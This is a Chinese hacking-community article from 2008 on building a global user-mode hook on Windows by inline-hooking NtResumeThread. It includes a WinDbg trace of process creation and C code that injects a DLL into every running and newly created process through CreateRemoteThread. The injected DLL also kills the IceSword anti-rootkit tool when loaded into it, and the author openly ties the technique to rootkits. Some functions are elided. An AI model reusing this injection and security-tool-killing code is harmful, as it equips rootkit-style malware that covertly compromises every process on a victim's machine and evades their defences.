挂钩 NtResumeThread 实现全局Hook创建时间:2008-05-25 文章属性:原创 文章提交:BITS (zhouzhenster_at_gmail.com) 挂钩 NtResumeThread 实现全局Hook zhouzhenster@gmail.com zhouzhen[E.S.T] 挂钩一直是Hack 编程中永恒的主题,基本高级的Rootkit 程序多多少少都会使用Hook 技术。 似乎Hook 都被讲烂了,不论是Ring3 的还是Ring0 的网上都有例子。Ring0 的毋庸置疑当然 是全局的了,这里说说ring3 的全局hook。Ring 3 有Ring 3 的优势,稳定是压倒一切的, 因此Mcafee 和其他一些商业的安全软件都还是使用了Ring3 的Hook 技术,无论如何用户是 无法接受蓝屏和死机的。 感兴趣的可以装个Rootkit unhooker 自己看看。 :) 1. 以往的Ring 3全局Hook 纵观网上流行的全局Hook 程序都只用了一个Windows API, SetWindowsHookEx,此函数原型: HHOOK SetWindowsHookEx( int idHook, HOOKPROC lpfn, HINSTANCE hMod, DWORD dwThreadId ); idhook 安装的钩子类型,如 WH_GETMESSAGE,WH_KEYBOARD 等 lpfn hook procedure 的指针 hmod 包含 hook procedure DLL 的handle dwThread 为0 使用这个这个API 时候有问题的,只能挂接系统中的所有G U I线程,换句通俗的话说就是有界面 的程序,Windows console 类的程序就无能为力了。 还有一种通过插入注册表来实现 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs 这种方法简单,但是还是只能挂钩GUI 程序,并且这个键值已经被广大HIPS 所关注,吃力不讨好。 以上两种效果不好,因此有人有开始另外的做法,枚举所有进程,插入和挂钩 NtCreateProcess 这是非常自然的想法,似乎也把问题解决了,但是仔细思考一下,就会发现很多问题。 a. 时机不对,在NtCreateProcess函数被调用时进程并没有真正被创建,我们无法执行HOOK操作, 而当NtCreateProcess返回时,进程又已经开始运行 b. 如果是Windows console 创建的进程,你如何去监控这个调用呢?这么说似乎比较抽象,你可 以这么理解,直接在命令行下,cmd,cmd,cmd .... 你可以监控到最后一个cmd 吗,如果只 用SetWindowsHookEx c. 是否正好站在了华容道,是否足够底层。 似乎很费劲 2. 分析系统创建进程过程,寻找方法 关于这方面内容,可以参考毛德操老师的两篇文章 《漫谈兼容内核之十七:再谈Windows的进程创建》 《漫谈兼容内核之二十二:Windows线程的调度和运行》 下面是他的blog 链接: http://hi.baidu.com/fatbsd/blog CreateProcess 是 Kernel32.dll 的导出函数。 操起WinDbg,剁了一下: Windows 2003 SP2 lkd> uf CreateProcessW kernel32!CreateProcessW: 7c802474 8bff mov edi,edi 7c802476 55 push ebp 7c802477 8bec mov ebp,esp 7c802479 6a00 push 0x0 7c80247b ff752c push dword ptr [ebp+0x2c] 7c80247e ff7528 push dword ptr [ebp+0x28] 7c802481 ff7524 push dword ptr [ebp+0x24] 7c802484 ff7520 push dword ptr [ebp+0x20] 7c802487 ff751c push dword ptr [ebp+0x1c] 7c80248a ff7518 push dword ptr [ebp+0x18] 7c80248d ff7514 push dword ptr [ebp+0x14] 7c802490 ff7510 push dword ptr [ebp+0x10] 7c802493 ff750c push dword ptr [ebp+0xc] 7c802496 ff7508 push dword ptr [ebp+0x8] 7c802499 6a00 push 0x0 7c80249b e8a6ac0200 call kernel32!CreateProcessInternalW (7c82d146) 7c8024a0 5d pop ebp 7c8024a1 c22800 ret 0x28 lkd> uf CreateProcessInternalW .... 7c82cf8f ff159814807c call dword ptr [kernel32!_imp__NtCreateProcessEx (7c801498)] .... 7c82daa2 ff159414807c call dword ptr [kernel32!_imp__NtCreateThread (7c801494)] .... 7c82dbdc ff158814807c call dword ptr [kernel32!_imp__NtResumeThread (7c801488)] 大概流程如下: Kernel32!CreateProcessW Kernel32!CreateProcessInternalW ntdll!NtCreateProcessEx ntdll!NtCreateThread ntdll!NtResumeThread 因为进程创建后,Windows 必须为它创建一个主线程,然后等待操作系统调度它。 所以调用NtResumeThread的时候,就是我们Hook的最佳时机,因为此时创建进程的主要工作已经完成, 但是进程并没有调度起来,呵呵,方便干坏事啊。 3. 具体代码实现 基本思路已经清晰了,这里还几个问题。 a. NtResumeThread 函数并不是创建进程才调用,我们怎么区分出哪个是创建进程时 调用的NtResumeThread呢? 其实现实起来不困难,先枚举系统进程一次,将系统进程中NtResumeThread 都挂钩上。每次拦截到 NTResumeThread 是判断NtResumeThread 的头几个字节是否已经被修改,如果没有则是创建新进程的调用。 b. 用什么方法Hook , IAT、Inline? 总的架构? 这种代码写起来还是Inline Hook 来的舒服,修改函数调用头几个字节。 枚举系统所有进程是不可避免的,因此要写个loader 将我们编写的DLL 插入系统所有进程。发现有进进程 创建时,将DLL 插入新进程。 下面代码演示,Hook NtQuerySystemInformation,因为篇幅等原因只有整体框架和关键代码。 Hook 也不是不是我们这次的主要内容,感兴趣的可以参考 http://www.xfocus.net/articles/200403/681.html c. 在多线程的环境下是否可靠? 使用关键代码段,互斥锁,效果还可以。 Loader: void inject(HANDLE hProcess){ char CurPath[256] = {0}; strcpy(CurPath, "C:\\WINDOWS\\system32\\Hook.dll"); PWSTR pszLibFileRemote = NULL; int len = (lstrlen(CurPath)+1)*2; WCHAR wCurPath[256]; MultiByteToWideChar(CP_ACP,0,CurPath,-1,wCurPath,256); pszLibFileRemote = (PWSTR)VirtualAllocEx(hProcess, NULL, len, MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(hProcess, pszLibFileRemote, (PVOID) wCurPath, len, NULL); PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW"); CreateRemoteThread(hProcess, NULL, 0, pfnThreadRtn, pszLibFileRemote, 0, NULL); } void TotalInject() { HANDLE hProcessSnap = NULL; BOOL bRet = FALSE; PROCESSENTRY32 pe32 = {0}; // Take a snapshot of all processes in the system. EnableDebugPrivilege(1); hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hProcessSnap == INVALID_HANDLE_VALUE) return; // Fill in the size of the structure before using it. pe32.dwSize = sizeof(PROCESSENTRY32); // Walk the snapshot of the processes, and for each process, // display information. if (Process32First(hProcessSnap, &pe32)) { do { HANDLE hProcess; // Get the actual priority class. hProcess = OpenProcess (PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID); inject(hProcess); CloseHandle(hProcess); } while (Process32Next(hProcessSnap, &pe32)); } // Do not forget to clean up the snapshot object. EnableDebugPrivilege(0); CloseHandle (hProcessSnap); return ; } Hook.dll: 关键代码 #include "stdafx.h" #include <stdio.h> BOOL g_bHook = FALSE; typedef LONG NTSTATUS; #define STATUS_SUCCESS ((NTSTATUS)0x00000000L) #define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L) #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L) typedef ULONG SYSTEM_INFORMATION_CLASS; typedef ULONG THREADINFOCLASS; typedef ULONG PROCESSINFOCLASS; typedef ULONG KPRIORITY; #define MEMORY_BASIC_INFORMATION_SIZE 28 typedef struct _THREAD_BASIC_INFORMATION { NTSTATUS ExitStatus; PNT_TIB TebBaseAddress; CLIENT_ID ClientId; KAFFINITY AffinityMask; KPRIORITY Priority; KPRIORITY BasePriority; } THREAD_BASIC_INFORMATION, *PTHREAD_BASIC_INFORMATION; typedef struct _PROCESS_BASIC_INFORMATION { // Information Class 0 NTSTATUS ExitStatus; PVOID PebBaseAddress; KAFFINITY AffinityMask; KPRIORITY BasePriority; ULONG UniqueProcessId; ULONG InheritedFromUniqueProcessId; } PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION; typedef NTSTATUS (__stdcall *NTQUERYSYSTEMINFORMATION)( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength OPTIONAL ); typedef NTSTATUS (__stdcall *NTRESUMETHREAD)( IN HANDLE ThreadHandle, OUT PULONG PreviousSuspendCount OPTIONAL ); typedef NTSTATUS (__stdcall *NTQUERYINFORMATIONTHREAD)( IN HANDLE ThreadHandle, IN THREADINFOCLASS ThreadInformationClass, OUT PVOID ThreadInformation, IN ULONG ThreadInformationLength, OUT PULONG ReturnLength OPTIONAL); typedef NTSTATUS (__stdcall * NTQUERYINFORMATIONPROCESS)( IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, OUT PVOID ProcessInformation, IN ULONG ProcessInformationLength, OUT PULONG ReturnLength OPTIONAL); NTQUERYSYSTEMINFORMATION g_pfNtQuerySystemInformation = NULL; NTRESUMETHREAD g_pfNtResumeThread = NULL; BYTE g_OldNtQuerySystemInformation[5] = {0}, g_NewNtQuerySystemInformation[5] = {0}; BYTE g_OldNtResumeThread[5] = {0}, g_NewNtResumeThread[5] = {0}; DWORD dwIdOld = 0; CRITICAL_SECTION cs; NTSTATUS __stdcall NewNtQuerySystemInformation( IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength); NTSTATUS __stdcall NewNtResumeThread(IN HANDLE ThreadHandle, OUT PULONG PreviousSuspendCount OPTIONAL); void WINAPI HookOn(); void WINAPI HookOff(); BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { InitializeCriticalSection(&cs); char Name[MAX_PATH] = {0}; GetModuleFileName(NULL, Name, MAX_PATH); // 杀杀冰刃玩玩 if ( strstr(Name, "IceSword.exe") != NULL) { HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, GetCurrentProcessId()); TerminateProcess(hProcess, 0); CloseHandle(hProcess); } if(!g_bHook) { HookOn(); } #ifdef _DEBUG MessageBox(NULL, "Process Attach", "Remote Dll", MB_OK); #endif } break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; case DLL_PROCESS_DETACH: if(g_bHook) { HookOff(); #ifdef _DEBUG MessageBox(NULL, "Off!", "Hook Off", MB_OK); #endif DeleteCriticalSection(&cs); } break; } return TRUE; } BOOL EnableDebugPrivilege(BOOL fEnable) { // Enabling the debug privilege allows the application to see // information about service applications BOOL fOk = FALSE; // Assume function fails HANDLE hToken; // Try to open this process's access token if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) { // Attempt to modify the "Debug" privilege TOKEN_PRIVILEGES tp; tp.PrivilegeCount = 1; LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid); tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0; AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL); fOk = (GetLastError() == ERROR_SUCCESS); CloseHandle(hToken); } return(fOk); } #define ThreadBasicInformation 0 void inject(HANDLE hProcess){ char CurPath[256] = {0}; GetSystemDirectory(CurPath, 256); strncat(CurPath, "\\Hook.dll", 9); //strcpy(CurPath, "C:\\WINDOWS\\system32\\Hook.dll"); PWSTR pszLibFileRemote = NULL; int len = (lstrlen(CurPath)+1)*2; WCHAR wCurPath[256]; MultiByteToWideChar(CP_ACP,0,CurPath,-1,wCurPath,256); EnableDebugPrivilege(1); pszLibFileRemote = (PWSTR) VirtualAllocEx(hProcess, NULL, len, MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(hProcess, pszLibFileRemote, (PVOID) wCurPath, len, NULL); PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW"); HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, pfnThreadRtn, pszLibFileRemote, 0, NULL); WaitForSingleObject(hRemoteThread, INFINITE); CloseHandle(hRemoteThread); EnableDebugPrivilege(0); } NTSTATUS __stdcall NewNtResumeThread(IN HANDLE ThreadHandle, OUT PULONG PreviousSuspendCount OPTIONAL) { NTSTATUS ret; NTSTATUS nStatus; NTQUERYSYSTEMINFORMATION NtQuerySystemInformation; NTQUERYINFORMATIONTHREAD NtQueryInformationThread = NULL; THREAD_BASIC_INFORMATION ti; DWORD Pid = 0; HMODULE hNtdll = GetModuleHandle("ntdll.dll"); NtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(hNtdll, "NtQuerySystemInformation"); NtQueryInformationThread = (NTQUERYINFORMATIONTHREAD)GetProcAddress(hNtdll, "NtQueryInformationThread"); if (NtQueryInformationThread == NULL) { #ifdef _DEBUG MessageBox(NULL, "can't get NtQueryInformationThread", "", MB_OK); #endif } nStatus = NtQueryInformationThread(ThreadHandle, ThreadBasicInformation, (PVOID)&ti, sizeof(THREAD_BASIC_INFORMATION), NULL); if(nStatus != STATUS_SUCCESS) { #ifdef _DEBUG MessageBox(NULL, "fuck failed", "", MB_OK); #endif } Pid = (DWORD)(ti.ClientId.UniqueProcess); HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, Pid); if (hProcess == NULL) { #ifdef _DEBUG MessageBox(NULL, "open process failed", "", MB_OK); #endif } BYTE FirstByte[1] = {0}; // check if the process has been hooked ReadProcessMemory(hProcess, NtQuerySystemInformation, FirstByte, 1, NULL); // 已经被Hook了 if ( FirstByte[0] == 0xe9) { HookOff(); ret = g_pfNtResumeThread(ThreadHandle, PreviousSuspendCount); HookOn(); CloseHandle(hProcess); return ret; } // 创建新进程的调用,Hook 之 else { HookOff(); inject(hProcess); ret = g_pfNtResumeThread(ThreadHandle, PreviousSuspendCount); HookOn(); CloseHandle(hProcess); return ret; } } NTSTATUS __stdcall NewNtQuerySystemInformation( IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength) { NTSTATUS ntStatus; HookOff(); ntStatus = g_pfNtQuerySystemInformation(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength); HookOn(); return ntStatus; } void WINAPI HookOn() { PMEMORY_BASIC_INFORMATION lpAllocBuffer = NULL; DWORD dwOldProtect, dwOldProtect2; HANDLE hProcess = NULL; dwIdOld = GetCurrentProcessId(); hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, dwIdOld); if(hProcess == NULL) return ; HMODULE hNtdll = GetModuleHandle("ntdll.dll"); g_pfNtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(hNtdll, "NtQuerySystemInformation"); if (g_pfNtQuerySystemInformation == NULL) { return; } g_pfNtResumeThread = (NTRESUMETHREAD)GetProcAddress(hNtdll, "NtResumeThread"); if (g_pfNtResumeThread == NULL) { return; } EnterCriticalSection(&cs); _asm { lea edi,g_OldNtQuerySystemInformation mov esi,g_pfNtQuerySystemInformation cld mov ecx,5 rep movsb lea edi,g_OldNtResumeThread mov esi,g_pfNtResumeThread cld mov ecx,5 rep movsb } g_NewNtQuerySystemInformation[0] = 0xe9; g_NewNtResumeThread[0] = 0xe9; _asm { lea eax, NewNtQuerySystemInformation mov ebx, g_pfNtQuerySystemInformation sub eax, ebx sub eax, 5 mov dword ptr [g_NewNtQuerySystemInformation + 1], eax lea eax, NewNtResumeThread mov ebx, g_pfNtResumeThread sub eax, ebx sub eax, 5 mov dword ptr [g_NewNtResumeThread + 1], eax } ....... LeaveCriticalSection(&cs); g_bHook = TRUE; } // 还原被修改的代码 void WINAPI HookOff() { ...... g_bHook = FALSE; } 4. 参考资料 Microsoft MSDN,SDK & DDK 《Windows NT 2000 Native API Reference》 《Windows 核心编程》 《挂钩Windows API》 《如何在Windows NT中隐藏自己》 # # EOF # |